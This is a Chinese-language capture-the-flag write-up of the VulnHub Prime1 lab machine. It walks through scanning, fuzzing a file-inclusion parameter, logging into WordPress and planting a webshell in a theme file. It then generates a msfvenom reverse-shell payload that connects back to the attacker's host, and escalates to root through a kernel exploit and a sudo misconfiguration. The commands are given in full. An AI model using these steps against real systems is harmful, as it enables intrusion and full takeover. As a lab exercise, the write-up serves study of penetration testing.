【vulnhub】Prime1攻略
资源
找靶机IP
通过Guest确定IP
最下面,有个Guest用户可以登录进去
右键,Open Terminal打开终端窗口
直接执行ifconfig,哎~这IP不就拿到了吗?
通过扫描确定IP
这是在B站听无涯老师的课程看到的方法
不登陆也能找到IP,不过我还是觉得,既然有上面那个口子可以达到目的,就没有必要搞得这么麻烦,这里仅仅作为拓展思维
用Nmap扫描C段
1 | nmap 192.168.120.1/24 |
可以看到,同网段扫到了四个机子,一般*.1*是自己的物理机,太小太大的都不考虑,就剩128和145了,而128是我Kali的IP,所以剩下的145就是靶机的IP了。
要是觉得上面的方法靠猜测不妥,凭什么要排除太大和太小的IP啊是吧?这里给出另外一种方法。
刚刚扫一遍,得到4个存活的IP,这时候把靶机给关了,再扫描一遍C段,应该只有三个了,第二次消失的那一个,就是靶机的IP了。
那找到IP之后,我们要登录这个系统,有什么办法可以找到密码呢?
端口服务
拿到IP之后,可以继续扫描,这个IP开放了哪些端口,都运行着什么服务,也许就能找到突破口呢。
继续用Nmap扫全端口
1 | nmap -p 1-65535 192.168.120.145 |
这里通过-p参数指定全端口,不指定的话,只会扫描常用端口
扫到2个端口,22和80,对应的服务,也写出来了
如果扫出来的端口比较陌生,不知道运行着什么服务,可以百度查询
这里给出一份常用的端口对应的服务
22端口是SSH服务,无非就是用Xshell去连接,没啥突破口。
80端口开放的是HTTP服务,也就是有Web服务啊!!!那不开整?
Web服务
用浏览器打开上面开放的80端口
访问网址:IP:port,我这里就是192.168.120.145:80(其实直接输入ip就可以访问了,应为HTTP协议默认就是80端口)
嗯??这什么情况??WTF???就一张图片???玩呢??
冷静冷静哈!思考下,遇到就一张图片,有什么思路可以进行下去?
- CMS指纹识别
- Ctrl+U查看前端源码
- 目录扫描
思路列出来了,一个个尝试吧
CMS指纹识别,壮烈牺牲
emmm源码就。。。算了吧
那就只有目录扫描了
问题是怎么扫呢?用啥工具呢?
目录扫描
工具
- dirb
- 御剑
- webscan
- gobuster
- dirsearch
- BurpSuite
- ………(工具很多)
我打开dirb就是一顿扫(kali自带dirb)
1 | dirb http://192.168.120.145 |
啊嘞?还有工具连-u都不要加的?不管,看结果
扫出了一个WordPress,一看就知道,这是个个人博客。
打开看看,果然!有没有发现这个victor有点似曾相识??
嘚,白高兴一场,啥也没有发现。
接下来又看了看扫出来的其他目录,全是WordPress的大概看了下,这条路肝不下去了。
只能想想有没有其他办法。密码有没有可能存在一个文件里?首先想到的就是txt,接着我又用dirb对txt后缀的来了一顿扫
1 | dirb http://192.168.120.145 -X .txt |
欸???这是啥?secret.txt
???赶紧打开看看
果然有东西啊!!(Prime1:看你太菜了给你点提示吧)
整段翻译如下
小伙子有点东西啊!
但还是菜了点哟!给你点提示:
对你发现的每一页php做一些Fuzz,如果Fuzz到了正确的参数,然后照着下面的步骤做
查看
location.txt
,你就知道下一步该怎么走了。如果你还是菜的不行,来我们网站学习一下基本工具的使用
我不管,我才不要等下再用这个提示,我就是要现在就访问location.txt
,不然我不甘心
甘心了,,,对不起打扰了!
Fuzz参数
既然上面提到php,那就先扫一下有哪些php,再针对每个php做Fuzz
1 | dirb http://192.168.120.145 -X .php |
就扫出来这俩
激动人心的Fuzz
问题来了,Fuzz是个啥?不懂的来看看度娘的解释
看懂了么?我唬你呢!看了比没看还模糊了是吧哈哈哈
我这里用我自己的浅显理解来解释一下Fuzz
Fuzz即模糊测试
就是瞎鸡儿乱猜的意思
用上面的例子来说,要你Fuzz参数,那参数是个啥样子?get请求下就是http://192.168.120.145/index.php?参数=xxx
至于参数是啥,我不知道啊,那我就只能乱猜,万一瞎猫碰上死耗子,给我猜对了呢?
Fuzz就是这样,不看技术,全看运气,谁也不知道到底能不能猜对
工具随便哈,很多工具都可以做Fuzz(BP就可以)
我这里选择直接用kali里面自带的工具wfuzz
和自带的字典
1 | wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.120.145/index.php?FUZZ |
这里解释下这几列的含义
- ID:就id,没啥别的意思
- Response:HTTP请求返回的状态码
- Lines:返回包的行数
- Word:单词个数
- Chars:字符个数
- Payload:Fuzz的参数
上面字典返回了900多条数据,那怎么找那些可能是正确的参数呢?思路是与大部分不同的一般就有蹊跷,因为大部分参数是错的,那正确的势必返回的就不一样。
Burp爆破的话,直接点一下排序就看出来了,这个破工具还要用命令行重新执行命令来排序,我真的会谢!
1 | 先看看参数,看有啥可以用的 |
我这里随便选个过滤
1 | wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt -hl 7 http://192.168.120.145/index.php?FUZZ |
结果是:糟糕!裤衩子都过滤没了
那就只能换个参数
1 | wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt -hw 12 http://192.168.120.145/index.php?FUZZ |
得到index.php的参数
有东西啊!
还记得上面secret.txt
里面的提示吗?记不记得有个location.txt
?
还有扫出来的两个php文件:image.php
和index.php
现在用这个Fuzz出来的参数试试吧!
image.php
没变化
index.php
出现了点不一样的东西,多了些文字
翻译
小伙子不错啊!
现在你知道正确的参数了
用
secrettier360
参数去尝试其他的php页面吧!
得到iamge.php的参数
这时,把上面没变化的image.php
按照提示的参数试一试
好的,你得到了正确的参数
password.txt
然后呢,就一句话就没了???思路好像又断了,继续往下想想,既然给了file让我们来读取文件,那我们可不可以去读取一些敏感文件呢?说干就干!
然而,emmmmmm…….又断了,系统提示挖错文件了
试试另外一个,居然成了,好吧我装的,因为我去看了视频。
我一直在试前面那个index.php
的参数,反而忽视了靶场一步步把我们引到到image.php
,还给了正确的参数。
接下来就顺着给出的提示,我尝试直接读取password.txt,没有结果
看了一眼上面的提示,Find password.txt in my directory
分析主要的突破点是要知道提示所说的my directory是指的哪一个目录,想到Linux下,每一个用户都有一个home目录,用户名是victor,接下来我们就来验证这条猜想
还是那句话,空空如也,我C他NN的!!!
这时候,我又去看了一眼上面的截图,就在我画框的后面,就有路径啊!!!我顺着那个路径找过去,出来了!还是我太菜了,Linux基础学的不好,才去分析上面那一堆有的没的。
登录WordPress
当时看到这串字符的时候,我第一反应是有点懵,要我关注ippsec???这是啥意思,过了一会才反应过来,这有没有可能就是密码啊?而且这是password.txt欸?
拿着这串字符去试着登录了一下victor用户,喜提”密码错误“💔💔💔
到这,我又不知道怎么办了。
去看了下视频的提示:这到底是什么的密码?
于是我想起,之前端口扫描的时候,有个22端口,猜测有可能是SSH的密码,我马上打开我的XShell。
哈哈,没连上mad❗
然后我又想,还有啥密码?前面好像还有个WordPress博客,去试试看,也许就是这个呢?然后我往上翻了下之前目录扫描的截图,进到了http://192.168.120.145/wordpress/wp-admin,然后跳转到wordpress的登陆界面
用户名当然是猜的victor,因为之前看过这个博客首页,加上靶机上的登录用户名也是victor,密码输入follow_the_ippsec,点登录
后面了解到,WordPress在搭建成功后会自动生成一篇博客,用户名就是管理员的用户名
还有Kali自带的工具
cmseek
和wpscan
可以去扫描WordPress站点的用户名和漏洞,以及其他信息
在几秒的转圈圈之后,进去了!!!
找了一圈,没发现什么信息。唯一发现了一个邮箱,我还用这个邮箱去试了一下密码,不对,作罢!
又开始偷思路😂😂😂
WordPress主题编辑
了解到【Appearance】的【Theme Editer】可以编辑主题,里面存在部分php可以被编辑,php哦!!!还是可以编辑的,那不直接一句话木马开搞???
接下来就是去找可以编辑的,连着点了好多个,都是这种不能修改的
皇天不负有心人!终于找到一个能改的
getshell
一句话木马
直接开整!!!等啥呀?
上传成功!nice!好了,就等着我拿下你吧小卡拉米!
高高兴兴掏出我的蚁剑
好了,问题来了,我这个URL要怎么填?WordPress的后台编辑那里的url是http://192.168.120.145/wordpress/wp-admin/theme-editor.php?file=secret.php&theme=twentynineteen,这一看就不行啊,我要找到secret.php的真实路径才行,但是我对WordPress不熟悉,不知道怎么猜这个路径。
确定路径
我知道WordPress是开源的,于是我上WordPress官网下了一份5.2版本的源码(Dashboard往下划,At a Glance板块可以看到WordPress的版本和使用的主题)
然后就顺着这个线索,结合上面修改页面右侧的文件结构,在源码里找到了这个路径
接下来我就按照这个路径,用蚁剑去连了。
直接红一片我也是没想到
然后我又去浏览器访问这个网址
返回404,意思就是secret.php不在这个路径
到这里,思路又断了(真的太菜了)
继续偷思路(emm这叫借鉴!!)
反弹shell
了解到可以反弹shell,其实之前一直知道这个概念,但是没有实战过,所以也不知道什么时候该用,怎么用。这次真的是学到了!
继续用我浅显的理解来解释一下反弹shell
首先要明确:反弹shell和一句话木马的目的都是一样的,就是为了拿shell
区别在于
- 一句话木马:上传之后,你得主动用WebShell管理工具之类的东西去连他,连上了才可以
- 反弹shell:让它主动来连你
这有啥不一样呢?为啥一定要它来连你呢?你连他为啥又不行呢?
想象一下,你去别的学校找朋友玩泥巴,但是他们学校只允许本校师生进出,不允许外面的人进出。这时候,你们想见面一起玩泥巴,那就只能让他出来找你,因为门卫不让你进去找他啊!!(说翻墙钻狗洞进去的小伙子,你真是个大聪明🤡)
一样的意思,当一台机子处于内网、动态IP,或者配置了防火墙、杀毒软件,那很可能,你是没有办法去连接它的,只能让它出来连你,这就是反弹shell
生成php反弹shell代码
现在,用我们的美少妇(MSF)来生成php反弹shell的代码
1 | msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.120.128 lport=6666 -o shell.php |
这句话的意思是让msfvenom的php/meterpreter/reverse_tcp模块来生成反弹shell的脚本,设置让靶机来连Kali(IP:192.168.120.128)的6666端口,保存为
shell.php
上传
把生成的代码粘贴到secret.php
里面(粘贴我上面黑色的那一坨,前面俩不要粘上去了),保存
监听端口
接下来,就是监听了
为啥要监听?
接着上面的例子说哈,你朋友都出校门来找你玩泥巴来了,你不得蹲在门口等他吗?不然你怎么知道他出来了呢?只能蹲在门口守着呗。
这也是一样的,你让靶机来连你,你不监听那个端口,你咋知道它来连你那个端口了?
那我们用啥来监听呢?当然是亲自蹲在电脑显示器上呗(bushi)
当然是用工具来监听啦~可用的工具有很多,这里推荐nc
和msfconsole
这里用msfconsole(因为它给我比心❤)
- 命令行输入
msfconsole
,启动美少妇
- 使用监听模块
1 | use exploit/multi/handler |
- 告诉它,你在等待一个php的反弹来连你
1 | 这里的模块和上面使用msfvenom生成反弹shell的模块是一样的 |
- 指定监听的IP和端口
1 | set lhost 192.168.120.128 |
- 启动监听
1 | 任选一个执行,效果是一样的 |
拿到shell
监听就准备好啦~接下来的问题是
靶机什么时候来连我们呢?
这就得你去提醒一下它,让他来连你,这时候我突然发现,我上面费大劲找的secret.php
路径,这时候用得到了!!!
访问http://192.168.120.145/wordpress/wp-content/themes/twentynineteen/secret.php
页面虽然一直在加载,这时候打开我们的Kali看看,已经进入到meterpreter了!!!就是已经反弹连接上了,我们已经拿到靶机的shell了。
执行命令看看,没问题!
注意:
我们此时拿到的shell环境,并不是root用户,meterpreter并不能执行所有的命令
内核提权【适用于Ubuntu 4.10】
上面我们拿到了靶机的Linux版本,用msfconsole看看有没有能提权的模块
==注意==:不要在meterpreter下直接执行,新开一个Terminal,进入msfconsole里面执行
或者使用
background
回退到msf的界面,记住返回的session
为1,到时候直接通过sessions 1
回到meterpreter
1 | searchsploit 16.04 Ubuntu |
使用其中符合条件的linux/local/45010.c
用来提权到root,用C语言编写其路径为/usr/share/exploits/local/45010.c
- 将该文件拷贝到当前目录
1 | cp /usr/share/exploitdb/exploits/linux/local/45010.c ./ |
- 用
gcc
编译该文件
1 | gcc 45010.c -o 45010 |
- 用meterpreter把上面生成的
45010
移动到靶机里面(此步骤在meterpreter里面执行!!!)
1 | upload /home/slipper/45010 /tmp |
本句的意思是:把本机
home/slipper/45010
上传到靶机的/tmp
目录
- 进入shell,给
45010
添加可执行的权限
1 | meterpreter > shell |
这时候已经提权成功了
提权失败
==实际上,我的提权失败了==
按理来说,是可以成功的,但是我当时没弄完就去做其他的事情,第二天再来弄的时候,我的靶机IP变了,从145变成147了。我当时觉得奇怪,因为我虚拟机Kali的IP一直就没变过,为什么这个突然变了。当时没有在意,直到我使用上述方法,屡次提权失败
于是,我几乎翻遍了网上关于Prime1这个靶机的记录,终于看到一句话:
==有些情况我们下载的靶机的版本并不是Ubuntu4.10而是Ubuntu 4.15,就不能通过45010这个复现成功==
但是我明明记得我是4.10。然后,我就又去看了一下我Ubuntu靶机的版本信息
==我的Ubuntu居然自动升级了!==
可以往上看我当时的截图,当时的版本是4.10的,一觉起来,Ubuntu靶机给我自动升级成4.15了,估计也是这个原因,导致靶机的IP发生了变化。
而此时,4.15版本的已经不能使用上述方法提权了。我用msf搜索了升级之后的版本还有没有可以用的提权代码,已经🈚了,所以靠nday提权已经行不通了,靶机的设计者的目的并不是想让我们靠提权来拿到Flag,而是像上面一样,一层层的剥开,找到密码。
这个问题真的折磨了我很久,第一次遇到这种骚操作
提权【适用于Ubuntu 4.15】
- 进入shell环境
1 | meterpreter> shell |
1 | python -c 'import pty;pty.spawn("/bin/bash")' |
- 查看当前用户可以用 sudo 执行哪些命令
1 | sudo -l |
这里的/home/saket/enc
引起了注意,它是一个可执行文件,执行需要输入密码,使用follow_the_ippsec
发现不对
backup文件
在/opt
目录下发现backup
文件夹,最终发现了可执行文件enc
的密码为backup_password
- 执行
enc
1 | cd /home/saket |
- 此时发现
/home/saket
目录下多了两个文件:enc.txt
和key.txt
得到了一串字符和一条提示,看样子应该是base64编码的
- 使用cmd5加密
ippsec
得到
md5(ippsec,32) = 366a74cb3c959de17d61db30591c39d1
md5(ippsec,16) = 3c959de17d61db30
- 使用AES Encryption and Decryption Online Tool解密
enc.txt
解密结果
1 | RG9udCB3b3JyeSBzYWtldCBvbmUgZGF5IHdlIHdpbGwgcmVhY2ggdG8Kb3VyIGRlc3RpbmF0aW9uIHZlcnkgc29vbi4gQW5kIGlmIHlvdSBmb3JnZXQgCnlvdXIgdXNlcm5hbWUgdGhlbiB1c2UgeW91ciBvbGQgcGFzc3dvcmQKPT0+ICJ0cmlidXRlX3RvX2lwcHNlYyIKClZpY3Rvciw= |
- 对上面的字符串进行Base64解码
1 | Dont worry saket one day we will reach to |
得到了密码
1 | tribute_to_ippsec |
切换用户
1 | su saket |
- 查看saket用户可用sudo执行的命令
- 跟进到/home/victor/undefeated_victor
提示/tmp/challenge
not found
/bin/bash提权
- 接下来的思路就是创建
challenge
文件,将/bin/bash
写入文件中,然后重新执行sudo /home/victor/undefeated_victor
命令以获取root权限的shell.
1 | cd /tmp |
可以看到,此时已经==成功拿到root权限==
拿flag
- 切换到/root,查看
1 | cd /root |
- 查看
root.txt
1 | cat root.txt |
完结撒花~~~终于拿到了flag
个人总结
不足
使用nmap扫描的时候,用的是最简单的命令,扫描显示出来的信息比较单一
1
nmap -sTVC ... > xxx.txt
导出到文件里,到时候找起来更方便,不要每次都在终端翻来翻去
对Kali内的工具不熟悉,到某个特定的步骤之后,知道要干啥,但不知道具体要怎么做,有什么工具可以使用。如果只下载了,又不去用它,那为什么要下载呢?单纯为了好看吗?
后续花时间专门整理一下Kali的工具,输出一个文档
收获
- 初次解除了完整的一套渗透测试流程,从查找IP到拿到Root权限,从Web打到shell再到提权
- wordpress的主题模块可以执行命令
- 反弹shell初体验
- 更加熟悉linux的一些命令,比如
sudo -l
等 - msf可用用background命令把meterpreter退到后台
疑惑
- 最后AES解密:为什么是AES?那些参数是这么选的,问了大佬,说是密码学的知识!补!!!
- 写入
/bin/bash
提权,不懂!看!!!